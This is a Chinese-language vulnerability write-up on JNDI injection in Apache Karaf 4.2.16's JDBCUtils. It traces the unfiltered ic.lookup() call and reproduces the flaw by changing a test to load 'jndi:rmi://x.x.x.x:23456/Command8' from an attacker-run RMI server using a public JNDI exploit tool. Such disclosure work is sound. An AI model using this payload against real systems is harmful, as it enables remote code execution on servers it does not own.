项目地址
GitHub - apache/karaf: Mirror of Apache Karaf
项目介绍
Apache Karaf是一个模块化运行时,支持多种框架和编程模型(REST/API、web、spring boot 等)。它提供了统包功能,您可以毫不费力地直接利用这些功能,打包为可变或不可变的应用程序。
项目版本
4.2.16
漏洞分析
该项目重写 JDBCUtils 作为连接数据库功能;在 jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils 使用了 jndi 协议测试链接是否正常访问,但是在 doCreateDatasource 函数中调用了 ic.lookup(jndiName) 来初始化查找数据库
lookup存在两个重载
看一下 lookup 的调用方法,传进 InitialContext#getURLOrDefaultInitCtx
lookup 拿到 name ,getURLScheme匹配 :和 /;之后获取链接内容,getURLContext 解释包含样例
For example, if the scheme id is "ldap", and the Context. URL_PKG_PREFIXES property contains "com.widget:com.wiz. jndi", the naming manager would attempt to load the following classes until one is successfully instantiated:
· com.widget.ldap.ldapURLContextFactory
· com.wiz.jndi.ldap.ldapURLContextFactory
· com.sun.jndi.url.ldap.ldapURLContextFactory
而我们可以控制 lookup 函数的参数,使客户端访问提前设置好的恶意的 RMI 服务链接来加载恶意的对象class 字节码文件来实例化,从而执行代码,完成利用。
该类并不存在任何黑/白名单对用户传入进行过滤,用户可直接传入rmi 恶意链接执行命令。确定该处存在 jndi注入,可被利用导致命令执行
漏洞复现
该项目无web界面,利用方式可使用官方提供的Test类进行测试。 测试类为 JdbcLoginModuleTest
该项目测试类并没有测试 jndi 协议,而是测试 osgi 协议。为了复现我们需要更改为 jndi 协议。代码如下所示
options = new HashMap<>();
// options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());
options.put(JDBCUtils.DATASOURCE, "jndi:rmi://x.x.x.x:23456/Command8");
options.put(BundleContext.class.getName(), context);
因为是jndi注入,需要配置注入payload及工具,以 JNDI-1.0-all.jar 为例,无需配置相关选项,仅使用默认 config.properties 即可弹出计算器
修复方式
升级到最新版本